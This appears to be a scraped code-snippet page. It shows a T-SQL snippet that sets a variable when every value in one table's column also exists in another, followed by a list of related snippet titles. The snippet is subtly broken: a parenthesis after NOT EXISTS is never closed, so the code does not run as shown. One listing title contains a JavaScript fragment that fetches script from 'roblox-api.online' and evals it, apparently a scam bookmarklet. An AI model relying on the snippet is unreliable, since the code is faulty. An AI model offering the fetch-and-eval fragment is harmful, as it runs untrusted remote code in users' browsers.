Sql server set variable if exists

-- set @my_var = @my_val IF ALL values in a specified col(s) of @table1
-- also exist in a specified col(s) of @table2
-- OTHERWISE, set @my_var = 0
SET @my_var = CASE
WHEN NOT EXISTS (
SELECT my_col FROM @table1
EXCEPT                
SELECT my_col FROM @table2
THEN @my_val
ELSE 0
END

Similar codes

13 votes280 views2 answers
Oracle all source
SQL
0 vote367 views1 answer
Get only one row in mysql
SQL
18 votes356 views3 answers
Get the list of all tables in sql server
SQL
3 votes364 views5 answers
Duplicate table sql
SQL
4 votes309 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote323 views1 answer
Nueva tabla mysql
SQL
4 votes330 views2 answers
Mysql select where starts with
SQL
2 votes312 views1 answer
Mysql list users on ubuntu
SQL
1 vote332 views2 answers
Sql select only first occurrence
SQL
3 votes316 views1 answer
Mysql UPDate with enner join
SQL